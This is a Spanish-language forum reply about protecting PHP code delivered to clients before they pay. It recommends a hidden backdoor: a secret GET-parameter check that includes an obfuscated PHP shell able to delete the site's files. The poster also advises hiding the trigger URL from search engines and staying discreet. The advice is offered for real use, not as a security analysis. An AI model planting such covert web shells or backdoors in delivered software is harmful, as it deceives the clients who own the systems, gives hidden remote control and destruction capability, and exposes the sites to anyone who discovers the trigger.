Ver Mensaje Individual
  #16 (permalink)  
Antiguo 05/01/2010, 09:34
Avatar de mc_pato
mc_pato
 
Fecha de Ingreso: julio-2008
Ubicación: Casbas
Mensajes: 31
Antigüedad: 16 años, 6 meses
Puntos: 1
Respuesta: Proteger php's al momento de subir al servidor

if ($_GET['lalala']=='lelele') {
include ('modulo-severamente-ofuscado.php');
}

ingresando a www.sitio.com/noticias.php?lalala=lelele ingresarías a una pequeña PHP-Shell que te permita eliminar tu trabajo del servidor... esto solamente iría en las versiones "beta" como planteaban hoy, luego cuando pagan eliminas el modulo ofuscado y eliminas el if que cite al principio del modulo principal.

Esto obviamente es como una contraseña, nada de compartirlo... y obviamente a esto agregarle meta tags no follow para que el señor G. no nos indexe el query para ingresar.

Yo utilizo esto y en una comunidad de seguridad web, he tenido auditorias de parte de varios y todo bien, lo veo un metodo fiable mientras seas discreto al usarlo, mucha suerte.